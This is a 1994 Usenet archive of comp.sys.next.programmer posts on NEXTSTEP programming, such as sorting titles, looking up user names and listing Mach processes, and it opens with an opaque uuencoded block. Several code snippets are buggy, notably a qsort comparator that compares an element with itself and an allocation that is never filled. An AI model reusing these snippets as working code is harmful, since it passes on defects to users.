M-%5#J&N*BN9!=XKLB!9.I`5Y$GZ*[4<M`*%9@HII%!,4AHJ(B`(&(8B&`1Z( M^#?CB3\`KP2O#>X!Z(=A!)4"C(JOBB.(P0.3BM]-($XB);=-F(KG5!LZ[8B= MBB$;GXI@B>ANTBNO5"R(2CJSB-5.A0/73N4#&DON6(MJI%7H4^%!=8IV8<%O MT37[1_T\#3`8+N:)<`#@9)J)]G5Y5>2*V(K63G"(L0%_0]LSMT4:`>"*DS\U M2JZ*;`!"B%E(]8I?`+R*+$OY-[Y*E(HZ0I:*'57?:T@$W8I*#5Y=Y`,Z378` M.SK'(J<KDS^YBOF*^XH:1+R)X!(4-/**F3\@`#E-\8?1->=4*8K@$@N)?T,N MB;>)GHG@$I!#SR^O!!2+#(M3)MTY#XL=B!&+X%\8BUE-&HL&BY!#'8OPB""+ M+(I(!.N*L6_V5`6+>`'!8X1A\TT[-#J+('`&21AB6$T)`)0"=4\6B`)&.S0] MBZ)#C46Z3_MQP#A0BT]/UD`RBXY21@1#B^1EZ3PV`=IO\&I"B]**Y%*>8-I/ MR4U)BQ6(LD]H`DR+_C/O$5>+3XL25U&+VE_2!%2+/E;TB3V+`D9:BQ@#_8G: M3UZ+XU./3:<RKU?#40=$$U!AB^X=\TT6B_HX)8L]5`9.SW`G`1Y.<$X`B[`O M?5(^<$Z+&X@BB[@U"XN'BV4WS$/>+R>+HD.9B],!`H@QBV\O&XLTBZ>)'HOH MBJ"*.8N$B_=R\53PAZ.+!HL_BRYB08O^,WB+;6Y%BV6+*P!*BVB+:P9JBZM! M;8L4-'.+NXM?87*+;XM5BP@[5XMWBZN+6XM%BWR+_&M@B[].-7/B111IN(NZ MBZDU:VT)`#LT;(NOBW@!P(O%BSY6MDG!B[M/_8EVBUF+RHMYBQ\<>XOM;QY5 M?HOX5X&+T#.#B]"+1"&W3*(B#HN:BD5"NF[.BCH`2SK<-^:+@`**)LE"UHKT M02L^L$=V8=*((B4!.T$HERV$.+^):Q%`B1PZ+HBUB]A.PDXG-QB(TXJ00W!$ MPC>ZBO:*$8M/0[A?+`&4`AJ,^HJ1BKV*'4O`"Q"+(XRZ.61M(8RLBBN,.CBR MBK2*QV2WBLLQNHBP;4U7*#2I@.*`C851A^F#&8/Z6L*'PX1[@Q-:EX7;=IF% MN5E38KH:=(/)7I^%+UN5.B-_I(5L@Z>%FUVV@N*%08136G:%.W:7A@>$G(<B M@1*%MX6*A8&%383QA?1:!X7`A;59&H5*@VF#R%F96DB#/8S*A81HS(7=6LZ% M/W<96SR#?79H3U.!U86P@MB%S%DOA3A:+H.MA-Z%*H/<A>*%)X-^@>:%)(.W M@&):7G4D,.AU?5OQ,F-U@UOY6.1:_%@]/=)V`C,%9FYUF8Q!/7!UYW5@=6I6 MOEW%4(1S3SV&<RHVRE`29LQ0KES"-!9F&%E_=8]SS5UZ5I)S^3]'9/]$AW5H M9+9SBG6;<XQUPES!1DD74V0)1Y-U+V:5=9-6SW7!6Y=6TER;=:US860>0&-D M/&;P7?TTB'7.6P51WES16R@8"B^J5JIU<F1)9JUUL%:O=4UF.T6U5K-UQW/C M6\ESMW6!9+EU1T4/7KPGSW.Z6X=D44#!==5S`EW+5EI<HG.09#<UDF3*==YS MU2=J9F-`Q(QN9IMDYG.N-G)FH&1M7.QS(D<-(J5D60`+`>D4ZE$@7+0(!%/O M5NLO[%9?`@F-#Q4,C5\`#HW#4OQS-D?%-O-6W77]5NL]N63I/6-1E$#R=%0! MY70#C&QI.VF;#EL`C8"@.A=IL4?[=30!_76*<!-U.8HLC7,J9DBTBC>-%G-9 M="N,CSS1+^.)XDS$71=H(8S[BM\OX47J/RUTWF1%;3*-/XWR!A-7QB.:4)UR M0EBP=/ICPCG[.DV-8#M/<_0,FE`+)#56-(R);=Y%=B/6`J@83`S-$T5MEF9Y M(,>(24@Q='YE;BT7=2YTV&0U5M6+R1%PC2\$X8N`9:-TLR+X!]=.)S?C,RZ( M#(Q3="QUP"K1BO&+B6W4B@",,TY86$5U/UO$5-@C5W0A85A?GS5D5^<%ST\" M2API2SI4"/&'?U<75_@$SRL"/?)`1T%^5[Y.G8UY$=EC>&Y3(8<'2U9_;GY$ MLW2++\!P7F(I8GMP%VA/<\YBB6UI1#Y."R1N.G"(?V%KC6"-%@N4`KN-UFHG M-'18>3XL:Q$X$8R(C?)#35CR0$LZL#I75\!.C1Z('%]&[59T*#0"TD<F!C56 M3E8R/_=M=(WI!Q\_&W6X3Q\"<(MG;-R-_#EXC44;D34L-,M/P`09!<AT#4;W M;?E7,C@X9]$OZ(U1&^"-X61@#&L(^4_8`@@J+#1!.]ET)#<RB(8!1D3:&5\! MTXK1+P..I4K>/A-MB%WW0:AS&47H739F7C::5HP$.F;,C*!U/6;Q7:-U!%'U M76QDU(P)+Y@GJ75?)YJ,)8XFCB>.*(XICBJ.03T2B4R)>8E2B7Z)8XE2B2Z. M;HEZB3&.:XE+B6V)=8DVCE:)>(DUCC...HXHB6B)/8Y_B5J)>HDTCCN.,(Y$ MCC*.+8Y!CEF)*8E]B4N..(XAB[]KG0.A2(2)\D"&B7E(-VR)B5H"'!+$$UM! ME1^/B8L%D8DL!Y@*E8D^*F(B71>9B>=AFXF^BK@UZ(FAB;R)I(E`B::)*"RI MB5EKJXE38JV)](G)B5^+>8ZSB;*),#30B8V+N(EQC@0YG#FCB;Z)0(G`B>@X MPHEXCN4#Q8E[CL>)?8Z$CG^.D8[,B3QBSHF#CF1M#503;LH*U8G2B$B-VHG1 MB->)W8G[0HL[<HI3=..)08AXBFN(@6$_BHR(2HHCBBN*&(HJBE&*)XI?BK>. M8XH!BK2.N(X:BKJ.'8IABB2*5(Y=BL".PXZUCB:*QXX%BKZ.O([*CL2.S(Z[ MCL&.N8[(C@B*L8C$/Y@/+XJFCC&*^T(SBE"(/EPVBCD`.(JLCGZ*C8X]BK". MC(Z5`L&*LXY0BEB*[8[3CF**\(YKB!Z*[(Y2BO*.OX[SCL..UHY4BF"*T8[V MCOJ.[H[_CER*6XJVC@*/!8]>BBZ)#51EBD0%9XI9+K48!`SIAVF-J`)NBD:) M<8I$B#B(=(IMCG:*>1QYBIR)H8I]BJ*.XD7X4F@4&HRO!(:*QXJEB=0+B(@M MC"R+D(KN5)**G8E"#WE2`8MI`,.*B8O?B,>*<2EY'*F+YT]\B@R/I(JI/J>* M:!3:#(6**H^0-RV,L8HJ`;.*YXFVBDL<+8^[BBB,;XXH`.!-P8HF3C:/FHHX MCXB(.H]AB(%L1W'G=/U'SXH*C(6-TXK_B\N-'$A+2'X#Y8H:C]R*5XO?BO2+ MXHIKB.F*X(DP:]%I(6MRCT)!M8LN3PN+\(HIB^&*^CCTBAV(G(D9C">,+X]B M(%HYNV(QCZ!.&E6P.KR(`XL(BVV+E8N%CB.+F4EOCXB+CXI0CX6/5`$OBPJ+ MGHN5C^4!H8L2+6V+I8LH+*>+=H]4CI-(N(DDB_:+G8L5BYZ/@@)/CQN,*(P2 MBS"+H8_;BQR+IHLVBW``/(]="_V+$E)R4ZZ+9@(;B[&+(DK)8;6+HD.WBU@F MND%FB_T$Y(V\BT8$38N_BT^-S8_#BQH!]HWH`L>+VXO)BX:-YXO,B^J+^&HH M-\:/8XO3B\F/1@3+CXL$TX_7B]F+3HO=BW@`TX_@B]Z+PHMUB\B+Y8O;CVU0 MTHLZ+LV+3U/17X"+^U>"B[6+AHNNCZ@"B8O%<&9,CHO@332/`V]V+\&/!HN1 MCZB/DX_Q<@&0&D2<BYR/K8\-BQ>+&8NVCZ./G(\?B[J/.(OD`\:/]52_CTZ+ MPX^]2L6/O8\<.5I?U(MGB]:+O8O`CW<#W(O2CT]/[X_MC\:+"I`OD-J/C6!< MB[PYWH_.B[2+O8_BCSHN*I#,CW9/+9#:BPN0,)#6C]2/,9!TB^.+\X^[0;V/ M>HL4:?F/UHU_BSY;[HO=5_"+]#X`D!:0B(OVB[I#^(M88>I*2CJN:OR+]8\\ M`]6*9X]Q-:T[,(TTBF9I#(C0BB^(,8C,B`^,<)#)C0Y"'%(4C`:.&8@=)!>, M+TBT8H2/O4YB(!V,+S$@C("0U4XDC/9M18VRCQN(2(_71OF*0(CQ6$J/,(Q- MCQPZOXV``IE$T!N+A3F,ZX2.A3R,JX0^C/&`0(QXAT*,/W=$C'F#TX5(C'YG M-8-;>.N!<(.BA01:3XRFA1Q[J(6D7:J%78-5C*Z%7H-9C+*%6X,?@YI9[#L? MA@1;NH5AC"6&8XRBA$V#9HS"A:6"Q85KC'EGGY!NC&V"\H3-A0R'(B)TC+:" M=HS0@)5H_(1GA3*#?(QS>G^,/H//@79G@XPT@H6,Y85VA2E;)3PE@_*&BXR' M*/U'CHQ),)",]S+\99.,=G-;A#(P.3V7C"N.^Y`%,YR,/RZ-C)^,#6:@1E`] M.62FC(ES$V8>2:N,H%NMC&@PKXR1<X-UDW.%=95SM8PR,[>,F7,E9MI=NXQ1 M9+V,D'6-5O2,QW7!C%8VEG7$C-%U3#.:=12..&86CIYU&(Z?5MI<'(XJ1=*, M0F8@CB]%1F:]<W8VVHPS0'5D`5ZP==^,65D&7E%F\T9^9%]9K3W,<^B,669E M689D$U[NC!5>PG6+9%A<\HP$74B1<%G)=1Y>S'4+77=96V30=7I9`(U]64%1 M`XWK<T51!HT874=5"HU<%3H5%XVM%1F-]G,2C621%8UGD1B-$(TC1_)6Y41[ M9CQ'`W0U3%16WC8;6"R(*(W0:2J-306,@#B-+HU?:3EJ>0'\=>DV-(T8:6N* MC8`,#C4[+8TM="$;/HV#/SF*6PCLA]5DAI"604>-V8G9!!MU;6U9C6`[(U?/ MC5*-Q7*P;3566XW\=1$YQXC1108,8"U?C;F-L&UBC2XY98VB*^]T:(U=#VN- M>4@-=5L/=HU4<#5(ZXTKD'6-2HU+D,*+TF05C&`M?HWY(X"-C(X*CCXZ\&00 MC/V+9Y")C:MT65@LB$A7CHW".9"-)XB2C6IPWV.5C0QCEXWX(<>-`0_!;YR- M$E4I!Y^-88Z+10F.K4BO2-&-JC]W;FAPJ8T$#!:(XF.+/ZV-/%NPC0)DLHW6 M8%6-CU]@8:=REI!_2(:(O8V2:_LZ`9+!C9).PXTY0ZZ-QHU4.F./P$YEC]<B 2S(TK:PZ2SXU?+1TDTHW_#%@) ` end -- | Oliver Brandmueller | Fon/Fax: +49 30 822 99 42 | Data: +49 30 822 15 17 | | Offenbacher Str.1 | Cityruf numerisch: 315 30 68 <area> try 30 and 89 | | 14197 Berlin | "Wenn Du mich fragst, ist der groesste Vorteil am | | Winter, dass man gefahrlos in Hundescheisse treten kann... Meistens...." |
From: ac1mdc@sunc.sheffield.ac.uk (M Crawford) Newsgroups: comp.sys.next.programmer Subject: Re: PD fortran? Date: 10 Apr 1994 11:43:14 GMT Organization: Academic Computing Services, Sheffield University Distribution: world Message-ID: <2o8ooi$orf@hippo.shef.ac.uk> References: <2o7gi0$d6e@vixen.cso.uiuc.edu> <2o8cuc$b0o@mailer.fsu.edu> : > Failing that, a commercial one? : : Yes. I've used one before, I forget the name, company though. : : Probably Absoft: Object-oriented Fortran 77 They're listed in the 3rd party catalogue as: support@absoft.com 313 853-00503 (yes there's a typo in the catalogue) fax: 313 853 0108 I don't know if they're still in business, though. Have fun, mmalcolm.
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Sorted Hash Table Message-ID: <Co0x2H.E5@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2o4358$5jl@lace.Colorado.EDU> Distribution: usa Date: Sun, 10 Apr 1994 03:15:51 GMT Orion E. Poplawski writes // So I figure that what I want is kind of a sorted hash table that // is sorted by the values of the keys. I could also do a sorted // list - but then I would have to apply my translation routine to // the string every time I wanted to compare them - a hash table // seems more efficient. I would then step throught the table to // display the titles in true alphabetical order. no need to hash anything... typedef struct __TitleHolder { char *sortTitle; char *realTitle; } TitleHolder; int title_sort(void *elemOne, void *elemTwo) { TitleHolder *titleOne = (TitleHolder *) titleOne; TitleHolder *titleTwo = (TitleHolder *) titleTwo; return strcmp(elemOne.sortTitle, elemOne.sortTitle); } /* the actual sorting code: */ char **realTitles; // array of realTitles -- previously initialized unsigned titleCount; // # of titles, previously initialized unsigned index; TitleHolder *sortArray; sortArray = (TitleHolder *) malloc(sizeof(TitleHolder) * titleCount); for(index=0;index<titleCount;index++) { sortArray[index].realTitle = realTitles[index]; sortArray[index].sortTitle = function_to_convert_title(realTitles[index]); } qsort(sortArray, titleCount, sizeof(TitleHolder), title_sort); for(index=0;index<titleCount;index++) { realTitles[index] = sortArray[index].realTitle; free(sortArray[index].sortTitle); } free(sortArray); /* Titles should now be sorted in realTitles */ note that the above was not compiled-- it may need some tweaking-- but it was easier to answer in code than english. -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Changes in NS 3.3 for developers Message-ID: <1994Apr10.103123.3296@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <2o6t12$s0v@gate.fzi.de> <2o6umq$25l@steffi.demon.co.uk> Date: Sun, 10 Apr 1994 10:31:23 GMT In article <2o6umq$25l@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >hoffmann@fzi.de wrote in comp.sys.next.programmer >> >>There are significant changes in NS 3.3 for the developer: >> >>- integrated tool set >>- Foundation Kit with String Classes (Unicode !) >> and new Collection Classes >>- shared libraries for everyone !!! (good news for the MiscKit) >>- Enterprise Objects Framework >> >Would somebody please confirm that that last one and the new >Foundation kit are going to be a part of the standard developer >release and not an additional extra? I heard that Enterprise Objects were going to cost extra. Quite a bit extra. They're targeted at big rich customers. Dave Griffiths
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Date: 10 Apr 1994 18:09:01 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <2o9fbt$b2f@senator-bedfellow.MIT.EDU> References: <2o374a$q7d@urmel.informatik.rwth-aachen.de> Keywords: NXUserName user name real In article <2o374a$q7d@urmel.informatik.rwth-aachen.de> omeyer@rwthi3.informatik.rwth-aachen.de writes: >How do I get the real user name of the current user e.g. Oliver Meyer. >Using NXUserName() I only get the login name, e.g. omeyer. I am not sure how to do this with NEXTSTEP commands, but with good old Unix programming, you can do this: #include <pwd.h> then somewhere in your source code, you can access the username by doing: struct passwd *userinfo = getpwuid(getuid()); char *userFullName = (char*)malloc(strlen(userinfo->pw_gecos)+1); Eric
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: List and char *'s Message-ID: <1994Apr10.144527.3757@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <2o8kbo$79u@steffi.demon.co.uk> Date: Sun, 10 Apr 1994 14:45:27 GMT In article <2o8kbo$79u@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >NeXT have now released code that uses char *'s in a List Object. > >What's the concensus about this? I know a lot of people feel strongly >about doing that since I don't think size of struct Object * is always >guarantteed to equal sizeof char * > >So why don't they specialize Storage and use an instance of that >instead. I hope nobody actually does this in "real life" No need to be so "politically correct". I've done it with char *'s and with int's. It works, so who cares whether it's right or wrong? Worrying about pointer sizes changing is like worrying about an asteroid hitting the earth some time in the future. :-) Dave Griffiths
Newsgroups: comp.sys.next.programmer From: bill@black_mystery (Bill Martin) Subject: Re: How to get the REAL USER NAME Message-ID: <1994Apr10.191939.1529@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2o374a$q7d@urmel.informatik.rwth-aachen.de> Date: Sun, 10 Apr 1994 19:19:39 GMT Oliver Meyer writes > How do I get the real user name of the current user e.g. Oliver Meyer. > Using NXUserName() I only get the login name, e.g. omeyer. #import <netinfo/ni.h> #import <nikit/NIDomain.h> #import <libc.h> - lookupRealName:(const char *)userName :(char *)realName { /** Use the NetInfo kit to query netinfo database for the *** user's record **/ id aDomain; ni_status rv; ni_namelist foo; BOOL validFoo; ni_id dir; char path[100]; struct passwd *pwdInfo; /** Keep a flag around to tell if we have allocated a foo. *** otherwise don't free it **/ validFoo = NO; /** Connect to the netinfo server **/ aDomain = [[NIDomain new] disconnectFromCurrent]; /** The user records are kept at the root domain **/ rv = [aDomain setConnection:"/"]; if(rv != NI_OK){ NXRunAlertPanel(NULL, "Error connecting to netinfo service", "OK", NULL, NULL); return self; } /** Fetch a pointer to the domain objects root directory for *** passing into lower level netinfo functions. NeXT claims *** that the netInfo kit will be improved in 3.0 **/ rv = ni_root([aDomain getTheDomainHandle], &dir); /** Construct a search command to look for this user's entry **/ sprintf(path, "/users/name=%s", userName); rv = ni_pathsearch([aDomain getTheDomainHandle], &dir, path); if(rv == NI_OK){ /** Extract the real name property from this entry **/ rv = ni_lookupprop([aDomain getTheDomainHandle], &dir, "realname", &foo); /** Mark foo as allocated **/ validFoo = (rv == NI_OK); } if(rv == NI_OK && foo.ni_namelist_len > 0){ sprintf(realName, "%s", foo.ni_namelist_val[0]); } else{ // couldn't get the pretty name for the user from the NIKit so get // it another way pwdInfo = getpwuid(getuid()); if (pwdInfo->pw_gecos != NULL) strcpy(realName, pwdInfo->pw_gecos); else if (pwdInfo->pw_name != NULL) strcpy(realName, pwdInfo->pw_name); else strcpy(realName, "Unknown user"); } /** Free up our junk **/ if(validFoo) ni_namelist_free(&foo); [[aDomain disconnectFromCurrent] free]; return self; }
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Date: 11 Apr 1994 00:02:03 +0100 Organization: me organised, that's a joke. Message-ID: <2oa0hb$33v@steffi.demon.co.uk> References: <2o374a$q7d@urmel.informatik.rwth-aachen.de> <1994Apr10.191939.1529@il.us.swissbank.com> Why is it necessary to specifically use the nikit for this? When netinfo is running the regular passwd/group routines just query netinfo. -- "C++ is the best C++ there is." (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: List and char *'s Message-ID: <Co2v4r.D5n@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <1994Apr10.144527.3757@prim.demon.co.uk> Date: Mon, 11 Apr 1994 04:29:15 GMT Dave Griffiths writes > No need to be so "politically correct". I've done it with char *'s and > with int's. It works, so who cares whether it's right or wrong? Worrying > about pointer sizes changing is like worrying about an asteroid hitting the > earth some time in the future. :-) pointer sizes have changed many times in my lifetime, and show signs of at least one more change. now the liklihood of a char * ever being a different size that an id is pretty remote, but that's a slightly different assumption. by the way, its a pretty sad commentary on Objective-C/NEXTSTEP that List is so dependent on the pointer size in the first place. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 11 Apr 1994 02:24:34 -0400 Organization: Next Announcements Message-ID: <2oaqf2$f6e@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: NEXTSTEP WWW Third Party Product Information Server NEXTSTEP Third Party Product Mail Server comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers NEXTSTEP WWW Third Party Product Information Server --------------------------------------------------- The Server has information from many NEXTSTEP Third Party Developers. As well, there are - FTP links to the March 1994 NextAnswers MiniExamples - the ONLY only Hypertext version of the NEXTSTEP Expo Information - links to the big NEXTSTEP FTP sites - information on the NEXTSTEP Newsgroups Using a Mosaic compatible WWW reader, point to <http://digifix.digifix.com/index.html> [Under NEXTSTEP try OmniWeb.app (available from ftp.omnigroup.com:/pub/software)] NEXTSTEP Third Party Product Mail Server ---------------------------------------- Finally online, the Mail Server will allow you to retrieve information on NEXTSTEP products via NextMail (other formats coming soon). Accessing the Server The information is free, and the service is supported by sponsors from the NEXTSTEP Community. To find out what information is available and how to use the server send email to ns-products@digifix.com with index or help in the message. Index and Help queries are returned as plain ASCII, all others as NextMail. comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Using IXKit "blobs"; Help! (Repost) Message-ID: <1994Apr11.062805.2245@dolphin.com> Keywords: IXKit indexing blob help Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Mon, 11 Apr 1994 06:28:05 GMT We were having serious problems with our news feed when I posted this, so I'm reposting. Sorry if it hits the net twice... Any help or suggestions would be greatly appreciated. I am trying to get IXKit to index on blobs (great naming convention, there). I have written my own access method, comparator and have set up the attribute (i.e., "TheBlob") to use these methods/functions. [mainStore addAttributeNamed:"TheBlob" forSelector:@selector(blobValue)]; [mainStore setTargetClass:[DailyBread class] forAttributeNamed:"TheBlob"]; [mainStore setComparator:(IXComparator *)myComparator andContext:NULL forAttributeNamed:"TheBlob"]; The object being written to the store also handles defining the blob in the "source:aSource didReadRecord:(unsigned)record" and "source:aSource willWriteRecord:(unsigned)record" methods. My problem is: That when searching the store through the index my comparitor is not receiving a valid blob as the data1 parameter. Also, the blob I use to search again is being offset by 1 word (4 bytes) the second time it is used to compare against. If any one could shed some light on using blobs as indexes I would greatly appreciated it. Thanks in advance! -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: jr@sade.ka.sub.org (Jochen Richter) Newsgroups: comp.sys.next.programmer Subject: How to make GMAKE on a NeXT Date: 11 Apr 1994 07:18:38 GMT Organization: The Home Of The Pilhuhn Message-ID: <2oatke$e7b@pilhuhn.pilhuhn.sub.org> I tried to make GNU make on my NeXT without success. Can anyone mail me a built gmake? -- Jochen Richter Phone: +49-721-696922 Zahringerstrasse 57 Fax: +49-721-696988 D-76133 Karlsruhe e-mail: jr@sade.ka.sub.org Germany jr@resy2.kfk.de (>50K)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Reading Kernel Variable. Date: 11 Apr 1994 08:45:43 GMT Organization: San Francisco State University Message-ID: <2ob2nn$dl5@nic-nac.CSU.net> References: <2o72bm$q6f@vixen.cso.uiuc.edu> In article <2o72bm$q6f@vixen.cso.uiuc.edu> stuckey@mrcnext.cso.uiuc.edu (Anthony J. Stuckey) writes: > I am looking for information on accessing NeXT's unix-side kernel >variables. I am working on porting a program which does process statistics >information similar to ps(1). > The major problem I'm having is that nlist() doesn't seem to be >useful. nlist() is plenty useful, just not for any of the purposes you have in mind. (See the documentation for host_info(), vm_statistics(), etc.) > Unfortunately, this >doesn't help in reading the individual process memory usage. Try task_info(). > Does anybody have comments or verification that I can do what I want? >Anything I'm overlooking? I know it is possible to do this, because ps(1) >does it, which just makes it infuriating that I can't figure out how. Here's something I dug up from March 1991--a clone of /usr/lib/fastps (displays list of process ids). The only change needed for NS 3.x is to replace <mach.h> with <mach/mach.h>. (This needs to run as root.) #include <stdio.h> #include <mach.h> main(argc, argv) int argc; char *argv[]; { register host_priv_t hpriv; register unsigned int hidx, tidx; processor_set_name_array_t hlist; unsigned int hcount; processor_set_t ppriv; task_array_t tlist; unsigned int tcount; int pid; if (!(hpriv=host_priv_self())) { (void)fprintf(stderr, "%s: couldn't get host privilege port\n", *argv); exit(1); } if (host_processor_sets(hpriv, &hlist, &hcount)!=KERN_SUCCESS) { (void)fprintf(stderr, "%s: couldn't get processor sets\n", *argv); exit(1); } for (hidx=0;hidx<hcount;hidx++) { if (host_processor_set_priv(hpriv, hlist[hidx], &ppriv) !=KERN_SUCCESS) ppriv=hlist[hidx]; if (processor_set_tasks(ppriv, &tlist, &tcount)== 